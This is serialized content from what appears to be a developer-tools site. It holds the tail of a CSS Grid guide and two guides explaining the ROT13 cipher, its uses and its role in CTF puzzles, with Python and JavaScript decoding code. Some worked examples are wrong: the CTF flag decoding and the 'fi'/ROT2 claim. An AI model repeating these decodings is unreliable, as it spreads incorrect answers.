To",[202,180368,180369],{},"Granularity",[211,180371,180372,180382,180393],{},[199,180373,180374,180376,180379],{},[216,180375,126173],{},[216,180377,180378],{},"Viewport width",[216,180380,180381],{},"Page-wide",[199,180383,180384,180387,180390],{},[216,180385,180386],{},"auto-fill + minmax",[216,180388,180389],{},"Available space",[216,180391,180392],{},"Row-level",[199,180394,180395,180398,180401],{},[216,180396,180397],{},"Container queries",[216,180399,180400],{},"Container width",[216,180402,180403],{},"Component-level",[11,180405,180407],{"id":180406},"real-world-pattern-responsive-product-grid","Real-World Pattern: Responsive Product Grid",[135,180409,180411],{"className":1554,"code":180410,"language":1556,"meta":141,"style":141},".products {\n  display: grid;\n  grid-template-columns: repeat(auto-fill, minmax(min(240px, 100%), 1fr));\n  gap: 20px;\n}\n\n.product-card {\n  display: grid;\n  grid-template-rows: auto 1fr auto;\n  gap: 12px;\n}\n\n.product-card img {\n  aspect-ratio: 4 \u002F 3;\n  object-fit: cover;\n}\n",[143,180412,180413,180420,180430,180470,180482,180486,180490,180497,180507,180523,180535,180539,180543,180551,180565,180575],{"__ignoreMap":141},[1560,180414,180415,180418],{"class":1562,"line":1563},[1560,180416,180417],{"class":1566},".products",[1560,180419,1571],{"class":1570},[1560,180421,180422,180424,180426,180428],{"class":1562,"line":337},[1560,180423,12504],{"class":1576},[1560,180425,1663],{"class":1570},[1560,180427,53158],{"class":1576},[1560,180429,2228],{"class":1570},[1560,180431,180432,180434,180436,180438,180440,180442,180444,180446,180448,180450,180452,180454,180456,180458,180460,180462,180464,180466,180468],{"class":1562,"line":343},[1560,180433,61005],{"class":1576},[1560,180435,1663],{"class":1570},[1560,180437,9442],{"class":1576},[1560,180439,1688],{"class":1570},[1560,180441,63144],{"class":1576},[1560,180443,1459],{"class":1570},[1560,180445,62152],{"class":1576},[1560,180447,1688],{"class":1570},[1560,180449,28995],{"class":1576},[1560,180451,1688],{"class":1570},[1560,180453,14865],{"class":1576},[1560,180455,1670],{"class":1669},[1560,180457,1459],{"class":1570},[1560,180459,18114],{"class":1576},[1560,180461,17990],{"class":1669},[1560,180463,18895],{"class":1570},[1560,180465,3585],{"class":1576},[1560,180467,61016],{"class":1669},[1560,180469,41941],{"class":1570},[1560,180471,180472,180474,180476,180478,180480],{"class":1562,"line":365},[1560,180473,32235],{"class":1576},[1560,180475,1663],{"class":1570},[1560,180477,12391],{"class":1576},[1560,180479,1670],{"class":1669},[1560,180481,2228],{"class":1570},[1560,180483,180484],{"class":1562,"line":889},[1560,180485,1585],{"class":1570},[1560,180487,180488],{"class":1562,"line":1710},[1560,180489,1702],{"emptyLinePlaceholder":363},[1560,180491,180492,180495],{"class":1562,"line":1717},[1560,180493,180494],{"class":1566},".product-card",[1560,180496,1571],{"class":1570},[1560,180498,180499,180501,180503,180505],{"class":1562,"line":1747},[1560,180500,12504],{"class":1576},[1560,180502,1663],{"class":1570},[1560,180504,53158],{"class":1576},[1560,180506,2228],{"class":1570},[1560,180508,180509,180511,180513,180515,180517,180519,180521],{"class":1562,"line":2507},[1560,180510,61023],{"class":1576},[1560,180512,1663],{"class":1570},[1560,180514,33331],{"class":1576},[1560,180516,18868],{"class":1576},[1560,180518,61016],{"class":1669},[1560,180520,58828],{"class":1576},[1560,180522,2228],{"class":1570},[1560,180524,180525,180527,180529,180531,180533],{"class":1562,"line":2524},[1560,180526,32235],{"class":1576},[1560,180528,1663],{"class":1570},[1560,180530,13566],{"class":1576},[1560,180532,1670],{"class":1669},[1560,180534,2228],{"class":1570},[1560,180536,180537],{"class":1562,"line":2529},[1560,180538,1585],{"class":1570},[1560,180540,180541],{"class":1562,"line":2534},[1560,180542,1702],{"emptyLinePlaceholder":363},[1560,180544,180545,180547,180549],{"class":1562,"line":2542},[1560,180546,180494],{"class":1566},[1560,180548,11550],{"class":2484},[1560,180550,1571],{"class":1570},[1560,180552,180553,180555,180557,180559,180561,180563],{"class":1562,"line":2558},[1560,180554,155662],{"class":1576},[1560,180556,1663],{"class":1570},[1560,180558,12546],{"class":1576},[1560,180560,14237],{"class":1570},[1560,180562,17821],{"class":1576},[1560,180564,2228],{"class":1570},[1560,180566,180567,180569,180571,180573],{"class":1562,"line":2570},[1560,180568,46796],{"class":1576},[1560,180570,1663],{"class":1570},[1560,180572,46801],{"class":1576},[1560,180574,2228],{"class":1570},[1560,180576,180577],{"class":1562,"line":6638},[1560,180578,1585],{"class":1570},[16,180580,180581,180582,180584],{},"This layout adapts from 1 to 5 columns without any media query. The ",[143,180583,155641],{}," property keeps images proportional at every size. The card's row-based internal grid keeps the button at the bottom regardless of description length.",[11,180586,180588],{"id":180587},"when-you-still-need-media-queries","When You Still Need Media Queries",[16,180590,180591],{},"Not everything can be done without breakpoints:",[41,180593,180594,180600,180606],{},[44,180595,180596,180599],{},[47,180597,180598],{},"Typography shifts",": Changing from 16px body to 20px body at wider viewports",[44,180601,180602,180605],{},[47,180603,180604],{},"Navigation patterns",": Switching from hamburger menu to horizontal nav",[44,180607,180608,180611],{},[47,180609,180610],{},"Content decisions",": Showing or hiding secondary sections",[16,180613,180614],{},"The goal is not to eliminate media queries entirely — it is to reduce them to the few places where they genuinely add value.",[11,180616,1355],{"id":1354},[41,180618,180619,180625,180632,180641,180644],{},[44,180620,180621,180624],{},[143,180622,180623],{},"repeat(auto-fill, minmax(N, 1fr))"," creates responsive columns with zero breakpoints",[44,180626,180627,64268,180629,180631],{},[143,180628,63165],{},[143,180630,63144],{}," preserves them",[44,180633,1388,180634,180637,180638,180640],{},[143,180635,180636],{},"min(N, 100%)"," inside ",[143,180639,62755],{}," to prevent overflow on small screens",[44,180642,180643],{},"Container queries give components their own responsive behavior",[44,180645,180646],{},"Reserve media queries for typography and navigation — not column layout",[11,180648,286],{"id":285},[16,180650,180651,180652,180654,180655,12674,180657,180659],{},"Experiment with responsive grid columns using our ",[98,180653,61745],{"href":61744},". Set columns to ",[143,180656,63144],{},[143,180658,62152],{}," and watch the layout adapt as you resize.",[2043,180661,64298],{},{"title":141,"searchDepth":337,"depth":337,"links":180663},[180664,180665,180666,180667,180668,180669,180670,180671,180672,180673],{"id":179796,"depth":337,"text":179797},{"id":179810,"depth":337,"text":179811},{"id":63123,"depth":337,"text":63124},{"id":180036,"depth":337,"text":180037},{"id":180130,"depth":337,"text":180131},{"id":180277,"depth":337,"text":180278},{"id":180406,"depth":337,"text":180407},{"id":180587,"depth":337,"text":180588},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Build responsive CSS Grid layouts that adapt to any screen size using auto-fill, minmax, and container queries — no breakpoint needed.",{"immutable":363},"\u002Fguides\u002Fresponsive-grid-no-media-queries",{"title":63654,"description":180674},"guides\u002Fresponsive-grid-no-media-queries","z6B683obBEryc8PjAxfnsBK_CAcaU4YH-85a2PqnPUQ",{"id":180681,"title":22545,"body":180682,"date":2070,"description":180917,"extension":361,"meta":180918,"navigation":363,"path":22544,"readingTime":1710,"seo":180919,"stem":180920,"__hash__":180921},"guides\u002Fguides\u002Frot13-explained.md",{"type":8,"value":180683,"toc":180894},[180684,180688,180691,180694,180698,180701,180707,180709,180715,180718,180722,180725,180731,180734,180738,180741,180746,180749,180753,180760,180764,180775,180779,180793,180796,180798,180802,180805,180811,180815,180818,180822,180825,180829,180832,180836,180839,180843,180846,180849,180852,180854,180874,180876,180882,180884],[11,180685,180687],{"id":180686},"what-is-rot13","What is ROT13?",[16,180689,180690],{},"ROT13 is a letter substitution cipher that replaces each letter in the alphabet with the letter 13 positions after it. Because the English alphabet has 26 letters, applying ROT13 twice returns the original text.",[16,180692,180693],{},"The name stands for \"rotate by 13 places.\" It shifts A to N, B to O, M to Z, and so on — wrapping around at the end of the alphabet.",[11,180695,180697],{"id":180696},"how-rot13-works","How ROT13 Works",[16,180699,180700],{},"ROT13 shifts every letter by exactly 13 positions. Numbers, punctuation, and whitespace stay unchanged.",[135,180702,180705],{"className":180703,"code":180704,"language":140},[138],"A B C D E F G H I J K L M\n↕ ↕ ↕ ↕ ↕ ↕ ↕ ↕ ↕ ↕ ↕ ↕\nN O P Q R S T U V W X Y Z\n",[143,180706,180704],{"__ignoreMap":141},[33,180708,133],{"id":132},[135,180710,180713],{"className":180711,"code":180712,"language":140},[138],"Input:  Hello World\nROT13:  Uryyb Jbeyq\n",[143,180714,180712],{"__ignoreMap":141},[16,180716,180717],{},"Each letter moves forward 13 places. Uppercase and lowercase letters stay in their own case. The space between words is untouched.",[11,180719,180721],{"id":180720},"the-self-inverse-property","The Self-Inverse Property",[16,180723,180724],{},"ROT13 has a unique and useful trait: encoding and decoding are the same operation. Apply ROT13 once to encode. Apply it again to decode.",[135,180726,180729],{"className":180727,"code":180728,"language":140},[138],"Hello World  →ROT13→  Uryyb Jbeyq\nUryyb Jbeyq  →ROT13→  Hello World\n",[143,180730,180728],{"__ignoreMap":141},[16,180732,180733],{},"This works because 13 + 13 = 26, and shifting by 26 positions lands you back where you started. No separate decode step needed — no keys to manage, no algorithms to reverse.",[11,180735,180737],{"id":180736},"rot5-for-digits","ROT5 for Digits",[16,180739,180740],{},"ROT5 applies the same rotation logic to digits 0–9 instead of letters. Each digit shifts by 5 positions.",[135,180742,180744],{"className":180743,"code":22128,"language":140},[138],[143,180745,22128],{"__ignoreMap":141},[16,180747,180748],{},"ROT5 is also self-inverse: 5 + 5 = 10 positions brings you full circle. You can combine ROT13 and ROT5 to obscure both letters and digits in a single pass — sometimes called ROT18.",[11,180750,180752],{"id":180751},"rot13-is-not-encryption","ROT13 is NOT Encryption",[16,180754,180755,180756,180759],{},"This cannot be overstated. ROT13 provides ",[47,180757,180758],{},"zero security",". Anyone who recognizes the output can decode it instantly — no key, no effort, no computation.",[33,180761,180763],{"id":180762},"why-people-confuse-it-with-encryption","Why people confuse it with encryption",[41,180765,180766,180769,180772],{},[44,180767,180768],{},"The output looks scrambled and unreadable at a glance",[44,180770,180771],{},"It is technically a \"cipher\" in the mathematical sense",[44,180773,180774],{},"Casual observers cannot read it immediately",[33,180776,180778],{"id":180777},"why-it-fails-as-encryption","Why it fails as encryption",[41,180780,180781,180784,180787,180790],{},[44,180782,180783],{},"Only 25 possible Caesar shifts exist — trivial to brute-force",[44,180785,180786],{},"No secret key is involved",[44,180788,180789],{},"Frequency analysis cracks it in seconds",[44,180791,180792],{},"Every modern computer can decode it instantly",[16,180794,180795],{},"Use ROT13 to obscure, never to protect. If you need real security, use proper encryption like AES-256.",[11,180797,103922],{"id":103921},[33,180799,180801],{"id":180800},"spoilers-and-content-warnings","Spoilers and Content Warnings",[16,180803,180804],{},"Online forums and Usenet posts have used ROT13 for decades to hide movie endings, book plots, and punchlines. Readers who want the spoiler decode it; others skip past.",[135,180806,180809],{"className":180807,"code":180808,"language":140},[138],"Qrpelcg: Gur tenag fgrre onggyrf gur qenja\n",[143,180810,180808],{"__ignoreMap":141},[33,180812,180814],{"id":180813},"puzzles-and-geocaching","Puzzles and Geocaching",[16,180816,180817],{},"ROT13 appears frequently in puzzles, scavenger hunts, and geocaching hints. It adds a mild layer of challenge without requiring any special tools.",[33,180819,180821],{"id":180820},"email-and-mailing-lists","Email and Mailing Lists",[16,180823,180824],{},"Some mailing lists use ROT13 to hide potentially offensive content or trigger warnings so that automatic content filters do not flag the message.",[33,180826,180828],{"id":180827},"obfuscating-answers","Obfuscating Answers",[16,180830,180831],{},"FAQ pages sometimes encode answers in ROT13 so readers can verify their solution without accidentally seeing the answer first.",[33,180833,180835],{"id":180834},"casual-data-obscuration","Casual Data Obscuration",[16,180837,180838],{},"When you need to make something not-immediately-readable but do not need actual security — like hiding a debug string or temporarily masking a value — ROT13 is the simplest option.",[11,180840,180842],{"id":180841},"history-and-origin","History and Origin",[16,180844,180845],{},"ROT13 dates back to the early 1980s on the net.jokes newsgroup of Usenet. Users needed a way to share punchlines without ruining the joke for people reading sequentially. ROT13 became the standard convention because it was trivial to implement and self-decoding.",[16,180847,180848],{},"Early mail readers and news clients included built-in ROT13 toggle commands. The cipher spread across the early internet and became part of internet culture. It remains in use today on platforms like Reddit and Stack Exchange, where spoiler tags often use ROT13 as a fallback.",[16,180850,180851],{},"The ROT family includes many variants (ROT1 through ROT25), but only ROT13 gained wide adoption thanks to its self-inverse property.",[11,180853,1355],{"id":1354},[41,180855,180856,180859,180862,180865,180868,180871],{},[44,180857,180858],{},"ROT13 shifts each letter by 13 positions in the alphabet",[44,180860,180861],{},"Encoding and decoding are the same operation — apply twice to restore text",[44,180863,180864],{},"ROT5 handles digits the same way; combining both gives ROT18",[44,180866,180867],{},"ROT13 obscures text from casual reading but provides zero security",[44,180869,180870],{},"Common uses include spoilers, puzzles, email content warnings, and answer hiding",[44,180872,180873],{},"Never use ROT13 for data protection — use real encryption instead",[11,180875,286],{"id":285},[16,180877,180878,180879,180881],{},"Encode and decode ROT13 text instantly with our free ",[98,180880,22566],{"href":22565},". Paste any text to see the substitution in action — no installation, no sign-up, all processing runs in your browser.",[11,180883,321],{"id":320},[41,180885,180886,180890],{},[44,180887,180888],{},[98,180889,22557],{"href":22556},[44,180891,180892],{},[98,180893,86192],{"href":86461},{"title":141,"searchDepth":337,"depth":337,"links":180895},[180896,180897,180900,180901,180902,180906,180913,180914,180915,180916],{"id":180686,"depth":337,"text":180687},{"id":180696,"depth":337,"text":180697,"children":180898},[180899],{"id":132,"depth":343,"text":133},{"id":180720,"depth":337,"text":180721},{"id":180736,"depth":337,"text":180737},{"id":180751,"depth":337,"text":180752,"children":180903},[180904,180905],{"id":180762,"depth":343,"text":180763},{"id":180777,"depth":343,"text":180778},{"id":103921,"depth":337,"text":103922,"children":180907},[180908,180909,180910,180911,180912],{"id":180800,"depth":343,"text":180801},{"id":180813,"depth":343,"text":180814},{"id":180820,"depth":343,"text":180821},{"id":180827,"depth":343,"text":180828},{"id":180834,"depth":343,"text":180835},{"id":180841,"depth":337,"text":180842},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"How ROT13 works — the simple letter substitution cipher used for obscuring text, spoilers, and puzzles.",{"immutable":363},{"title":22545,"description":180917},"guides\u002Frot13-explained","Ow6fo9gVTEom_bIrfgz5xuokYfm6hb8PL0gKPmUU4wI",{"id":180923,"title":22551,"body":180924,"date":2070,"description":181599,"extension":361,"meta":181600,"navigation":363,"path":22550,"readingTime":1717,"seo":181601,"stem":181602,"__hash__":181603},"guides\u002Fguides\u002Frot13-programming-puzzles.md",{"type":8,"value":180925,"toc":181573},[180926,180930,180933,180936,180940,180944,180947,181018,181029,181033,181043,181047,181051,181118,181122,181252,181256,181281,181285,181289,181292,181298,181302,181305,181311,181314,181318,181321,181332,181399,181403,181407,181413,181416,181420,181425,181428,181432,181437,181440,181444,181512,181514,181546,181548,181562,181564,181570],[11,180927,180929],{"id":180928},"rot13-as-a-puzzle-element","ROT13 as a Puzzle Element",[16,180931,180932],{},"ROT13 is one of the most common ciphers in programming puzzles. Not because it is hard to break — it is trivially reversible — but because it tests whether you recognize patterns and understand basic string manipulation.",[16,180934,180935],{},"Puzzle designers love ROT13 because it satisfies two constraints: it obscures answers from casual reading, and it is trivially reversible without any key or tool. Readers can decode it mentally once they practice.",[11,180937,180939],{"id":180938},"spotting-rot13-in-the-wild","Spotting ROT13 in the Wild",[33,180941,180943],{"id":180942},"visual-tells","Visual tells",[16,180945,180946],{},"ROT13-encoded text has recognizable patterns:",[193,180948,180949,180958],{},[196,180950,180951],{},[199,180952,180953,180955],{},[202,180954,18376],{},[202,180956,180957],{},"Why it happens",[211,180959,180960,180968,180992,181005],{},[199,180961,180962,180965],{},[216,180963,180964],{},"Words look \"shifted\" — vowels map to different vowels",[216,180966,180967],{},"A↔N, E↔R, I↔V, O↔B, U↔H",[199,180969,180970,180973],{},[216,180971,180972],{},"Common short words transform predictably",[216,180974,180975,52609,180978,1459,180981,52609,180984,1459,180987,52609,180989],{},[143,180976,180977],{},"the",[143,180979,180980],{},"gur",[143,180982,180983],{},"and",[143,180985,180986],{},"naq",[143,180988,7947],{},[143,180990,180991],{},"sbe",[199,180993,180994,180997],{},[216,180995,180996],{},"Capitalization is preserved",[216,180998,180999,52609,181002],{},[143,181000,181001],{},"Hello",[143,181003,181004],{},"Uryyb",[199,181006,181007,181010],{},[216,181008,181009],{},"Numbers and punctuation are untouched",[216,181011,181012,52609,181015],{},[143,181013,181014],{},"Pass: 42!",[143,181016,181017],{},"Cnff: 42!",[16,181019,181020,181021,181023,181024,5255,181026,181028],{},"The word ",[143,181022,180980],{}," is the biggest giveaway — it appears frequently in English text, and ROT13 maps ",[143,181025,180977],{},[143,181027,180980],{}," every time.",[33,181030,181032],{"id":181031},"frequency-analysis-shortcut","Frequency analysis shortcut",[16,181034,181035,181036,181038,181039,181042],{},"Do not bother with full frequency analysis. If the most common three-letter word in the ciphertext is ",[143,181037,180980],{},", you have ROT13. If the most common word is ",[143,181040,181041],{},"fi",", you might have ROT2. For puzzle purposes, recognition is faster than computation.",[11,181044,181046],{"id":181045},"implementing-rot13-in-puzzles","Implementing ROT13 in Puzzles",[33,181048,181050],{"id":181049},"python-most-common-in-ctfs","Python — most common in CTFs",[135,181052,181054],{"className":8259,"code":181053,"language":8261,"meta":141,"style":141},"def rot13(text):\n    result = []\n    for char in text:\n        if 'a' \u003C= char \u003C= 'z':\n            result.append(chr((ord(char) - ord('a') + 13) % 26 + ord('a')))\n        elif 'A' \u003C= char \u003C= 'Z':\n            result.append(chr((ord(char) - ord('A') + 13) % 26 + ord('A')))\n        else:\n            result.append(char)\n    return ''.join(result)\n\n# Or use the built-in codec\nimport codecs\ncodecs.encode('Hello World', 'rot_13')  # 'Uryyb Jbeyq'\n",[143,181055,181056,181061,181065,181069,181073,181078,181082,181087,181091,181095,181099,181103,181108,181113],{"__ignoreMap":141},[1560,181057,181058],{"class":1562,"line":1563},[1560,181059,181060],{},"def rot13(text):\n",[1560,181062,181063],{"class":1562,"line":337},[1560,181064,22148],{},[1560,181066,181067],{"class":1562,"line":343},[1560,181068,22153],{},[1560,181070,181071],{"class":1562,"line":365},[1560,181072,22369],{},[1560,181074,181075],{"class":1562,"line":889},[1560,181076,181077],{},"            result.append(chr((ord(char) - ord('a') + 13) % 26 + ord('a')))\n",[1560,181079,181080],{"class":1562,"line":1710},[1560,181081,22379],{},[1560,181083,181084],{"class":1562,"line":1717},[1560,181085,181086],{},"            result.append(chr((ord(char) - ord('A') + 13) % 26 + ord('A')))\n",[1560,181088,181089],{"class":1562,"line":1747},[1560,181090,22168],{},[1560,181092,181093],{"class":1562,"line":2507},[1560,181094,22173],{},[1560,181096,181097],{"class":1562,"line":2524},[1560,181098,22178],{},[1560,181100,181101],{"class":1562,"line":2529},[1560,181102,1702],{"emptyLinePlaceholder":363},[1560,181104,181105],{"class":1562,"line":2534},[1560,181106,181107],{},"# Or use the built-in codec\n",[1560,181109,181110],{"class":1562,"line":2542},[1560,181111,181112],{},"import codecs\n",[1560,181114,181115],{"class":1562,"line":2558},[1560,181116,181117],{},"codecs.encode('Hello World', 'rot_13')  # 'Uryyb Jbeyq'\n",[33,181119,181121],{"id":181120},"javascript-browser-based-puzzles","JavaScript — browser-based puzzles",[135,181123,181125],{"className":1607,"code":181124,"language":1609,"meta":141,"style":141},"function rot13(str) {\n  return str.replace(\u002F[a-zA-Z]\u002Fg, char => {\n    const base = char \u003C= 'Z' ? 65 : 97\n    return String.fromCharCode((char.charCodeAt(0) - base + 13) % 26 + base)\n  })\n}\n\nrot13('Hello World') \u002F\u002F 'Uryyb Jbeyq'\n",[143,181126,181127,181140,181166,181188,181226,181230,181234,181238],{"__ignoreMap":141},[1560,181128,181129,181131,181134,181136,181138],{"class":1562,"line":1563},[1560,181130,8648],{"class":1669},[1560,181132,181133],{"class":1566}," rot13",[1560,181135,1688],{"class":1570},[1560,181137,38740],{"class":2219},[1560,181139,9345],{"class":1570},[1560,181141,181142,181144,181146,181148,181150,181152,181154,181156,181158,181160,181162,181164],{"class":1562,"line":337},[1560,181143,9350],{"class":1669},[1560,181145,38842],{"class":1570},[1560,181147,22721],{"class":1566},[1560,181149,1688],{"class":1570},[1560,181151,9423],{"class":5634},[1560,181153,22728],{"class":1576},[1560,181155,9423],{"class":5634},[1560,181157,22733],{"class":1669},[1560,181159,1459],{"class":1570},[1560,181161,22738],{"class":2219},[1560,181163,9378],{"class":1669},[1560,181165,1571],{"class":1570},[1560,181167,181168,181170,181172,181174,181176,181178,181180,181182,181184,181186],{"class":1562,"line":343},[1560,181169,9385],{"class":1669},[1560,181171,22749],{"class":1576},[1560,181173,8186],{"class":1669},[1560,181175,22754],{"class":1570},[1560,181177,22757],{"class":1669},[1560,181179,22760],{"class":5634},[1560,181181,22763],{"class":1669},[1560,181183,22766],{"class":1576},[1560,181185,22769],{"class":1669},[1560,181187,22772],{"class":1576},[1560,181189,181190,181192,181194,181196,181199,181201,181203,181205,181207,181209,181211,181213,181216,181218,181220,181222,181224],{"class":1562,"line":365},[1560,181191,9434],{"class":1669},[1560,181193,22779],{"class":1570},[1560,181195,22782],{"class":1566},[1560,181197,181198],{"class":1570},"((char.",[1560,181200,22788],{"class":1566},[1560,181202,1688],{"class":1570},[1560,181204,5285],{"class":1576},[1560,181206,1733],{"class":1570},[1560,181208,9412],{"class":1669},[1560,181210,22799],{"class":1570},[1560,181212,9448],{"class":1669},[1560,181214,181215],{"class":1576}," 13",[1560,181217,1733],{"class":1570},[1560,181219,17990],{"class":1669},[1560,181221,22809],{"class":1576},[1560,181223,29002],{"class":1669},[1560,181225,22816],{"class":1570},[1560,181227,181228],{"class":1562,"line":889},[1560,181229,22821],{"class":1570},[1560,181231,181232],{"class":1562,"line":1710},[1560,181233,1585],{"class":1570},[1560,181235,181236],{"class":1562,"line":1717},[1560,181237,1702],{"emptyLinePlaceholder":363},[1560,181239,181240,181242,181244,181247,181249],{"class":1562,"line":1747},[1560,181241,86285],{"class":1566},[1560,181243,1688],{"class":1570},[1560,181245,181246],{"class":5634},"'Hello World'",[1560,181248,1733],{"class":1570},[1560,181250,181251],{"class":1649},"\u002F\u002F 'Uryyb Jbeyq'\n",[33,181253,181255],{"id":181254},"one-liner-for-quick-decoding","One-liner for quick decoding",[135,181257,181259],{"className":8259,"code":181258,"language":8261,"meta":141,"style":141},"# Python\ndecode = lambda s: s.translate(str.maketrans(\n    'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz',\n    'NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm'))\n",[143,181260,181261,181266,181271,181276],{"__ignoreMap":141},[1560,181262,181263],{"class":1562,"line":1563},[1560,181264,181265],{},"# Python\n",[1560,181267,181268],{"class":1562,"line":337},[1560,181269,181270],{},"decode = lambda s: s.translate(str.maketrans(\n",[1560,181272,181273],{"class":1562,"line":343},[1560,181274,181275],{},"    'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz',\n",[1560,181277,181278],{"class":1562,"line":365},[1560,181279,181280],{},"    'NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm'))\n",[11,181282,181284],{"id":181283},"rot13-in-ctf-challenges","ROT13 in CTF Challenges",[33,181286,181288],{"id":181287},"direct-encoding","Direct encoding",[16,181290,181291],{},"The simplest form: you find a ROT13-encoded string in a file, HTTP header, or database entry. Decode it to get the flag.",[135,181293,181296],{"className":181294,"code":181295,"language":140},[138],"Flag: synt{gur_qrpelcgvba_vf_njnvt}\n→ flag{the_decryption_is_alawi}\n",[143,181297,181295],{"__ignoreMap":141},[33,181299,181301],{"id":181300},"chained-encodings","Chained encodings",[16,181303,181304],{},"Puzzle creators layer encodings. A common pattern: Base64 wrapping ROT13, or ROT13 inside a hex string.",[135,181306,181309],{"className":181307,"code":181308,"language":140},[138],"Step 1: Decode Base64 → \"gur synt vf urer\"\nStep 2: Decode ROT13 → \"the flag is here\"\n",[143,181310,181308],{"__ignoreMap":141},[16,181312,181313],{},"The trick is to try ROT13 at every stage. If the decoded output looks like shifted English, it is probably ROT13.",[33,181315,181317],{"id":181316},"rot-n-variants","ROT-N variants",[16,181319,181320],{},"Sometimes the puzzle uses a different rotation. The approach:",[77,181322,181323,181326,181329],{},[44,181324,181325],{},"Decode with all 25 possible rotations",[44,181327,181328],{},"Scan the results for English words",[44,181330,181331],{},"The rotation that produces readable text is the answer",[135,181333,181335],{"className":8259,"code":181334,"language":8261,"meta":141,"style":141},"def rot_n(text, n):\n    result = []\n    for char in text:\n        if 'a' \u003C= char \u003C= 'z':\n            result.append(chr((ord(char) - ord('a') + n) % 26 + ord('a')))\n        elif 'A' \u003C= char \u003C= 'Z':\n            result.append(chr((ord(char) - ord('A') + n) % 26 + ord('A')))\n        else:\n            result.append(char)\n    return ''.join(result)\n\n# Brute-force all rotations\nfor i in range(26):\n    print(f\"ROT{i}: {rot_n(ciphertext, i)}\")\n",[143,181336,181337,181342,181346,181350,181354,181359,181363,181368,181372,181376,181380,181384,181389,181394],{"__ignoreMap":141},[1560,181338,181339],{"class":1562,"line":1563},[1560,181340,181341],{},"def rot_n(text, n):\n",[1560,181343,181344],{"class":1562,"line":337},[1560,181345,22148],{},[1560,181347,181348],{"class":1562,"line":343},[1560,181349,22153],{},[1560,181351,181352],{"class":1562,"line":365},[1560,181353,22369],{},[1560,181355,181356],{"class":1562,"line":889},[1560,181357,181358],{},"            result.append(chr((ord(char) - ord('a') + n) % 26 + ord('a')))\n",[1560,181360,181361],{"class":1562,"line":1710},[1560,181362,22379],{},[1560,181364,181365],{"class":1562,"line":1717},[1560,181366,181367],{},"            result.append(chr((ord(char) - ord('A') + n) % 26 + ord('A')))\n",[1560,181369,181370],{"class":1562,"line":1747},[1560,181371,22168],{},[1560,181373,181374],{"class":1562,"line":2507},[1560,181375,22173],{},[1560,181377,181378],{"class":1562,"line":2524},[1560,181379,22178],{},[1560,181381,181382],{"class":1562,"line":2529},[1560,181383,1702],{"emptyLinePlaceholder":363},[1560,181385,181386],{"class":1562,"line":2534},[1560,181387,181388],{},"# Brute-force all rotations\n",[1560,181390,181391],{"class":1562,"line":2542},[1560,181392,181393],{},"for i in range(26):\n",[1560,181395,181396],{"class":1562,"line":2558},[1560,181397,181398],{},"    print(f\"ROT{i}: {rot_n(ciphertext, i)}\")\n",[11,181400,181402],{"id":181401},"interview-puzzles-involving-rot13","Interview Puzzles Involving ROT13",[33,181404,181406],{"id":181405},"classic-caesar-cipher-decoder","Classic: Caesar cipher decoder",[16,181408,181409,181412],{},[47,181410,181411],{},"Prompt:"," Write a function that takes a string and returns all 26 possible Caesar cipher decodings.",[16,181414,181415],{},"This tests string manipulation, modular arithmetic, and code clarity. The ROT13 case is just one of the 26 outputs.",[33,181417,181419],{"id":181418},"classic-detect-the-rotation","Classic: Detect the rotation",[16,181421,181422,181424],{},[47,181423,181411],{}," Given a ciphertext and a list of dictionary words, determine which Caesar rotation was used.",[16,181426,181427],{},"This tests frequency analysis or simple brute-force matching against a word list.",[33,181429,181431],{"id":181430},"tricky-rot13-in-url-routing","Tricky: ROT13 in URL routing",[16,181433,181434,181436],{},[47,181435,181411],{}," A web application uses ROT13 to \"encrypt\" URL parameters. Describe the security implication and fix it.",[16,181438,181439],{},"The answer: ROT13 is not encryption. Anyone can decode it. Use proper encryption or signed tokens instead.",[11,181441,181443],{"id":181442},"practice-resources","Practice Resources",[193,181445,181446,181458],{},[196,181447,181448],{},[199,181449,181450,181453,181455],{},[202,181451,181452],{},"Resource",[202,181454,34969],{},[202,181456,181457],{},"ROT13 Frequency",[211,181459,181460,181470,181481,181492,181502],{},[199,181461,181462,181465,181468],{},[216,181463,181464],{},"Cryptopals Challenge Set 1",[216,181466,181467],{},"Crypto CTF",[216,181469,15457],{},[199,181471,181472,181475,181478],{},[216,181473,181474],{},"OverTheWire Bandit",[216,181476,181477],{},"Linux CTF",[216,181479,181480],{},"Occasional",[199,181482,181483,181486,181489],{},[216,181484,181485],{},"PicoCTF",[216,181487,181488],{},"Beginner CTF",[216,181490,181491],{},"Frequent",[199,181493,181494,181497,181500],{},[216,181495,181496],{},"Codewars \"Rot13\" kata",[216,181498,181499],{},"Coding challenge",[216,181501,5896],{},[199,181503,181504,181507,181510],{},[216,181505,181506],{},"Advent of Code (various years)",[216,181508,181509],{},"Puzzle advent",[216,181511,181480],{},[11,181513,1355],{"id":1354},[41,181515,181516,181519,181528,181534,181537,181540,181543],{},[44,181517,181518],{},"ROT13 appears constantly in puzzles because it is trivial to implement and reverse",[44,181520,181521,181522,181524,181525,181527],{},"Learn to recognize ",[143,181523,180980],{}," (ROT13 of ",[143,181526,180977],{},") — it is the fastest identifier",[44,181529,87722,181530,181533],{},[143,181531,181532],{},"codecs.encode(text, 'rot_13')"," is the quickest decode method",[44,181535,181536],{},"CTF puzzles often chain ROT13 with Base64 or hex encoding",[44,181538,181539],{},"When the rotation is unknown, brute-force all 25 possibilities and scan for English",[44,181541,181542],{},"ROT13 interview questions test string manipulation and modular arithmetic fundamentals",[44,181544,181545],{},"Never use ROT13 for actual security — puzzles are its legitimate domain",[11,181547,321],{"id":320},[41,181549,181550,181554,181558],{},[44,181551,181552],{},[98,181553,22545],{"href":22544},[44,181555,181556],{},[98,181557,21929],{"href":22591},[44,181559,181560],{},[98,181561,22557],{"href":22556},[11,181563,286],{"id":285},[16,181565,181566,181567,181569],{},"Decode ROT13 instantly with our free ",[98,181568,22566],{"href":22565},". Paste any ciphertext — puzzle clue, spoiler, or encoded flag — and get the plaintext in one click.",[2043,181571,181572],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: 